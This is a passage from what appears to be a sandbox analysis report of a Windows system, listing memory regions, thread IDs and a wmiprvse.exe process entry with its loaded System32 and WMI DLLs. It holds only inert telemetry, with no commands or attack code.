end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 6612 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 6627 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 6921 start_va = 0x28615870000 end_va = 0x28615870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7016 start_va = 0x28615870000 end_va = 0x28615870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7076 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7077 start_va = 0x286158d0000 end_va = 0x286158d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158d0000" filename = "" Region: id = 7078 start_va = 0x28615870000 end_va = 0x28615877fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7170 start_va = 0x28615870000 end_va = 0x28615875fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7189 start_va = 0xe592700000 end_va = 0xe5927fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592700000" filename = "" Region: id = 7190 start_va = 0xe592800000 end_va = 0xe5928fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592800000" filename = "" Region: id = 7200 start_va = 0x28615870000 end_va = 0x28615875fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7373 start_va = 0x28615870000 end_va = 0x28615875fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7463 start_va = 0xe592900000 end_va = 0xe5929fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592900000" filename = "" Region: id = 7497 start_va = 0xe592a00000 end_va = 0xe592afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592a00000" filename = "" Region: id = 7677 start_va = 0x28615870000 end_va = 0x28615870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 7824 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 8301 start_va = 0x286158d0000 end_va = 0x286158d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158d0000" filename = "" Region: id = 8689 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 8690 start_va = 0x28615870000 end_va = 0x2861587bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 8763 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 8829 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 8830 start_va = 0x28615900000 end_va = 0x28615902fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 8832 start_va = 0x28615870000 end_va = 0x28615877fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9149 start_va = 0xe592b00000 end_va = 0xe592bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592b00000" filename = "" Region: id = 9150 start_va = 0xe592c00000 end_va = 0xe592cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592c00000" filename = "" Region: id = 9158 start_va = 0x28615870000 end_va = 0x28615875fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9327 start_va = 0x28615870000 end_va = 0x28615870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9502 start_va = 0x28615870000 end_va = 0x2861587bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9548 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9665 start_va = 0xe592d00000 end_va = 0xe592dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592d00000" filename = "" Region: id = 9666 start_va = 0xe592e00000 end_va = 0xe592efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592e00000" filename = "" Region: id = 9717 start_va = 0x28615870000 end_va = 0x28615870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9757 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9788 start_va = 0x286145f0000 end_va = 0x286145f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9883 start_va = 0x286145f0000 end_va = 0x286145f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9884 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9886 start_va = 0x286145f0000 end_va = 0x286145f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9937 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9950 start_va = 0x286145f0000 end_va = 0x286145f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9956 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9997 start_va = 0x286145f0000 end_va = 0x286145f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 9998 start_va = 0x28615870000 end_va = 0x28615871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 9999 start_va = 0x286158d0000 end_va = 0x286158d5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158d0000" filename = "" Region: id = 10000 start_va = 0x28615900000 end_va = 0x28615902fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10008 start_va = 0x28615900000 end_va = 0x28615901fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10044 start_va = 0x28615900000 end_va = 0x28615900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10278 start_va = 0xe592f00000 end_va = 0xe592ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e592f00000" filename = "" Region: id = 10283 start_va = 0x28615900000 end_va = 0x28615900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10284 start_va = 0x28615900000 end_va = 0x28615902fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10285 start_va = 0x28615900000 end_va = 0x28615907fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10286 start_va = 0xe593000000 end_va = 0xe5930fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e593000000" filename = "" Region: id = 10303 start_va = 0x28615900000 end_va = 0x28615905fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10304 start_va = 0x28615900000 end_va = 0x28615905fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10307 start_va = 0x28615900000 end_va = 0x28615905fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10322 start_va = 0x28615900000 end_va = 0x28615900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615900000" filename = "" Region: id = 10353 start_va = 0x286158e0000 end_va = 0x286158e2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158e0000" filename = "" Region: id = 10354 start_va = 0x286158f0000 end_va = 0x286158f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158f0000" filename = "" Region: id = 10355 start_va = 0x286158e0000 end_va = 0x286158e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158e0000" filename = "" Region: id = 10356 start_va = 0x286158e0000 end_va = 0x286158e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158e0000" filename = "" Region: id = 10362 start_va = 0x286158e0000 end_va = 0x286158e5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286158e0000" filename = "" Region: id = 10443 start_va = 0x7ffa71710000 end_va = 0x7ffa71718fff monitored = 0 entry_point = 0x7ffa71711420 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 10446 start_va = 0x286145f0000 end_va = 0x286145f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10447 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 10448 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10449 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10457 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10565 start_va = 0x286145f0000 end_va = 0x286145f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10566 start_va = 0x286145f0000 end_va = 0x286145f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10567 start_va = 0x28615870000 end_va = 0x28615872fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000028615870000" filename = "" Region: id = 10568 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10569 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10578 start_va = 0x286145f0000 end_va = 0x286145f5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Region: id = 10582 start_va = 0xe593100000 end_va = 0xe5931fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e593100000" filename = "" Region: id = 10583 start_va = 0x286145f0000 end_va = 0x286145f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000286145f0000" filename = "" Thread: id = 23 os_tid = 0xcb0 Thread: id = 24 os_tid = 0x10c8 Thread: id = 25 os_tid = 0x1164 Thread: id = 26 os_tid = 0x1160 Thread: id = 27 os_tid = 0x1090 Thread: id = 28 os_tid = 0x108c Thread: id = 29 os_tid = 0x398 Thread: id = 30 os_tid = 0x644 Thread: id = 31 os_tid = 0xbac Thread: id = 32 os_tid = 0x958 Thread: id = 33 os_tid = 0xb44 Thread: id = 34 os_tid = 0xb90 Thread: id = 35 os_tid = 0xb88 Thread: id = 36 os_tid = 0x3b8 Thread: id = 37 os_tid = 0x610 Thread: id = 38 os_tid = 0x500 Thread: id = 39 os_tid = 0x440 Thread: id = 40 os_tid = 0x878 Thread: id = 41 os_tid = 0x884 Thread: id = 42 os_tid = 0x874 Thread: id = 43 os_tid = 0x838 Thread: id = 44 os_tid = 0x87c Thread: id = 45 os_tid = 0x350 Thread: id = 46 os_tid = 0x7e0 Thread: id = 47 os_tid = 0x6b4 Thread: id = 48 os_tid = 0x4e0 Thread: id = 49 os_tid = 0x714 Thread: id = 50 os_tid = 0x660 Thread: id = 51 os_tid = 0x708 Thread: id = 52 os_tid = 0x4e4 Thread: id = 53 os_tid = 0xaf8 Thread: id = 54 os_tid = 0x340 Thread: id = 55 os_tid = 0x8bc Thread: id = 56 os_tid = 0x374 Thread: id = 57 os_tid = 0xba8 Thread: id = 58 os_tid = 0xbf4 Thread: id = 59 os_tid = 0xa88 Thread: id = 60 os_tid = 0xb68 Thread: id = 61 os_tid = 0x944 Thread: id = 62 os_tid = 0x9ec Thread: id = 63 os_tid = 0xb78 Thread: id = 64 os_tid = 0x308 Thread: id = 65 os_tid = 0xb28 Thread: id = 66 os_tid = 0xb30 Thread: id = 67 os_tid = 0xb38 Thread: id = 68 os_tid = 0xb24 Thread: id = 69 os_tid = 0x93c Thread: id = 70 os_tid = 0x840 Thread: id = 71 os_tid = 0x814 Thread: id = 72 os_tid = 0x810 Thread: id = 73 os_tid = 0x52c Thread: id = 74 os_tid = 0x504 Thread: id = 75 os_tid = 0x520 Thread: id = 76 os_tid = 0x4a0 Thread: id = 77 os_tid = 0x498 Thread: id = 78 os_tid = 0x760 Thread: id = 79 os_tid = 0x55c Thread: id = 80 os_tid = 0x618 Thread: id = 81 os_tid = 0x494 Thread: id = 82 os_tid = 0x4ac Thread: id = 83 os_tid = 0x3b0 Thread: id = 84 os_tid = 0x7e4 Thread: id = 85 os_tid = 0x7dc Thread: id = 86 os_tid = 0x7bc Thread: id = 87 os_tid = 0x7ac Thread: id = 88 os_tid = 0x778 Thread: id = 89 os_tid = 0x734 Thread: id = 90 os_tid = 0x704 Thread: id = 91 os_tid = 0x44c Thread: id = 92 os_tid = 0x66c Thread: id = 93 os_tid = 0x654 Thread: id = 94 os_tid = 0x50c Thread: id = 95 os_tid = 0x4c8 Thread: id = 96 os_tid = 0x49c Thread: id = 97 os_tid = 0x408 Thread: id = 98 os_tid = 0x2cc Thread: id = 99 os_tid = 0x280 Thread: id = 100 os_tid = 0x25c Thread: id = 101 os_tid = 0x178 Thread: id = 102 os_tid = 0x158 Thread: id = 103 os_tid = 0x148 Thread: id = 104 os_tid = 0x128 Thread: id = 105 os_tid = 0x124 Thread: id = 106 os_tid = 0x3f8 Thread: id = 107 os_tid = 0x3f4 Thread: id = 108 os_tid = 0x3f0 Thread: id = 109 os_tid = 0x3e0 Thread: id = 110 os_tid = 0x3c0 Thread: id = 111 os_tid = 0x35c Thread: id = 129 os_tid = 0x1180 Thread: id = 214 os_tid = 0xcf8 Thread: id = 241 os_tid = 0xb94 Thread: id = 242 os_tid = 0x2f4 Thread: id = 243 os_tid = 0xd7c Thread: id = 281 os_tid = 0x1384 Thread: id = 282 os_tid = 0xce8 Thread: id = 304 os_tid = 0xe08 Thread: id = 305 os_tid = 0xe0c Thread: id = 342 os_tid = 0xfa4 Thread: id = 343 os_tid = 0xfb8 Thread: id = 353 os_tid = 0xa14 Thread: id = 354 os_tid = 0xeb8 Thread: id = 361 os_tid = 0x107c Thread: id = 362 os_tid = 0xcdc Thread: id = 382 os_tid = 0x1cc Process: id = "3" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5559e000" os_pid = "0x1120" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x270" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00059774" [0xc000000f] Region: id = 2185 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2186 start_va = 0x670b40000 end_va = 0x670bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000670b40000" filename = "" Region: id = 2187 start_va = 0x670c00000 end_va = 0x670dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000670c00000" filename = "" Region: id = 2188 start_va = 0x670e80000 end_va = 0x670efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000670e80000" filename = "" Region: id = 2189 start_va = 0x670f00000 end_va = 0x670f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000670f00000" filename = "" Region: id = 2190 start_va = 0x670f80000 end_va = 0x670ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000670f80000" filename = "" Region: id = 2191 start_va = 0x671000000 end_va = 0x67107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000671000000" filename = "" Region: id = 2192 start_va = 0x671080000 end_va = 0x6710fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000671080000" filename = "" Region: id = 2193 start_va = 0x671100000 end_va = 0x67117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000671100000" filename = "" Region: id = 2194 start_va = 0x671180000 end_va = 0x6711fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000671180000" filename = "" Region: id = 2195 start_va = 0x671200000 end_va = 0x67127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000671200000" filename = "" Region: id = 2196 start_va = 0x196ee680000 end_va = 0x196ee68ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee680000" filename = "" Region: id = 2197 start_va = 0x196ee690000 end_va = 0x196ee696fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ee690000" filename = "" Region: id = 2198 start_va = 0x196ee6a0000 end_va = 0x196ee6b4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee6a0000" filename = "" Region: id = 2199 start_va = 0x196ee6c0000 end_va = 0x196ee6c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee6c0000" filename = "" Region: id = 2200 start_va = 0x196ee6d0000 end_va = 0x196ee6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee6d0000" filename = "" Region: id = 2201 start_va = 0x196ee6e0000 end_va = 0x196ee6e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ee6e0000" filename = "" Region: id = 2202 start_va = 0x196ee6f0000 end_va = 0x196ee6f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ee6f0000" filename = "" Region: id = 2203 start_va = 0x196ee700000 end_va = 0x196ee700fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ee700000" filename = "" Region: id = 2204 start_va = 0x196ee710000 end_va = 0x196ee710fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ee710000" filename = "" Region: id = 2205 start_va = 0x196ee720000 end_va = 0x196ee724fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2206 start_va = 0x196ee730000 end_va = 0x196ee730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee730000" filename = "" Region: id = 2207 start_va = 0x196ee740000 end_va = 0x196ee740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee740000" filename = "" Region: id = 2208 start_va = 0x196ee750000 end_va = 0x196ee750fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee750000" filename = "" Region: id = 2209 start_va = 0x196ee760000 end_va = 0x196ee85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ee760000" filename = "" Region: id = 2210 start_va = 0x196ee860000 end_va = 0x196ee91dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2211 start_va = 0x196ee920000 end_va = 0x196ee9dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee920000" filename = "" Region: id = 2212 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 2213 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 2214 start_va = 0x196eea30000 end_va = 0x196eea32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 2215 start_va = 0x196eea40000 end_va = 0x196eea4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196eea40000" filename = "" Region: id = 2216 start_va = 0x196eea50000 end_va = 0x196eed86fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2217 start_va = 0x196eed90000 end_va = 0x196eef17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eed90000" filename = "" Region: id = 2218 start_va = 0x196eef20000 end_va = 0x196ef0a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196eef20000" filename = "" Region: id = 2219 start_va = 0x196ef0b0000 end_va = 0x196ef1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ef0b0000" filename = "" Region: id = 2220 start_va = 0x196ef1b0000 end_va = 0x196ef2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ef1b0000" filename = "" Region: id = 2221 start_va = 0x7df5ffe20000 end_va = 0x7ff5ffe1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffe20000" filename = "" Region: id = 2222 start_va = 0x7ff7ce3b0000 end_va = 0x7ff7ce4affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7ce3b0000" filename = "" Region: id = 2223 start_va = 0x7ff7ce4b0000 end_va = 0x7ff7ce4d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7ce4b0000" filename = "" Region: id = 2224 start_va = 0x7ff7ceb30000 end_va = 0x7ff7cebaffff monitored = 0 entry_point = 0x7ff7ceb45f50 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2225 start_va = 0x7ffa5f310000 end_va = 0x7ffa5f4defff monitored = 1 entry_point = 0x7ffa5f337df0 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 2226 start_va = 0x7ffa63b50000 end_va = 0x7ffa63b9dfff monitored = 0 entry_point = 0x7ffa63b61ce0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2227 start_va = 0x7ffa6b3c0000 end_va = 0x7ffa6b3d5fff monitored = 0 entry_point = 0x7ffa6b3c55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2228 start_va = 0x7ffa6b700000 end_va = 0x7ffa6b724fff monitored = 0 entry_point = 0x7ffa6b709900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2229 start_va = 0x7ffa6b730000 end_va = 0x7ffa6b743fff monitored = 0 entry_point = 0x7ffa6b731800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2230 start_va = 0x7ffa6b750000 end_va = 0x7ffa6b845fff monitored = 0 entry_point = 0x7ffa6b789590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2231 start_va = 0x7ffa6c480000 end_va = 0x7ffa6c4a5fff monitored = 0 entry_point = 0x7ffa6c481cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2232 start_va = 0x7ffa6d6d0000 end_va = 0x7ffa6d6e0fff monitored = 0 entry_point = 0x7ffa6d6d2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2233 start_va = 0x7ffa6de20000 end_va = 0x7ffa6de2dfff monitored = 0 entry_point = 0x7ffa6de21da0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 2234 start_va = 0x7ffa6df40000 end_va = 0x7ffa6df4bfff monitored = 0 entry_point = 0x7ffa6df435c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2235 start_va = 0x7ffa6f330000 end_va = 0x7ffa6f3aefff monitored = 1 entry_point = 0x7ffa6f347110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2236 start_va = 0x7ffa708c0000 end_va = 0x7ffa708d1fff monitored = 0 entry_point = 0x7ffa708c3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2237 start_va = 0x7ffa71650000 end_va = 0x7ffa7165afff monitored = 0 entry_point = 0x7ffa716512b0 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 2238 start_va = 0x7ffa71a90000 end_va = 0x7ffa71aa8fff monitored = 0 entry_point = 0x7ffa71a94520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2239 start_va = 0x7ffa744f0000 end_va = 0x7ffa74505fff monitored = 0 entry_point = 0x7ffa744f1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2240 start_va = 0x7ffa748f0000 end_va = 0x7ffa7492dfff monitored = 0 entry_point = 0x7ffa748fa050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2241 start_va = 0x7ffa74a20000 end_va = 0x7ffa74a33fff monitored = 0 entry_point = 0x7ffa74a21310 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 2242 start_va = 0x7ffa74af0000 end_va = 0x7ffa74b00fff monitored = 0 entry_point = 0x7ffa74af3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 2243 start_va = 0x7ffa75630000 end_va = 0x7ffa75639fff monitored = 0 entry_point = 0x7ffa75631660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: 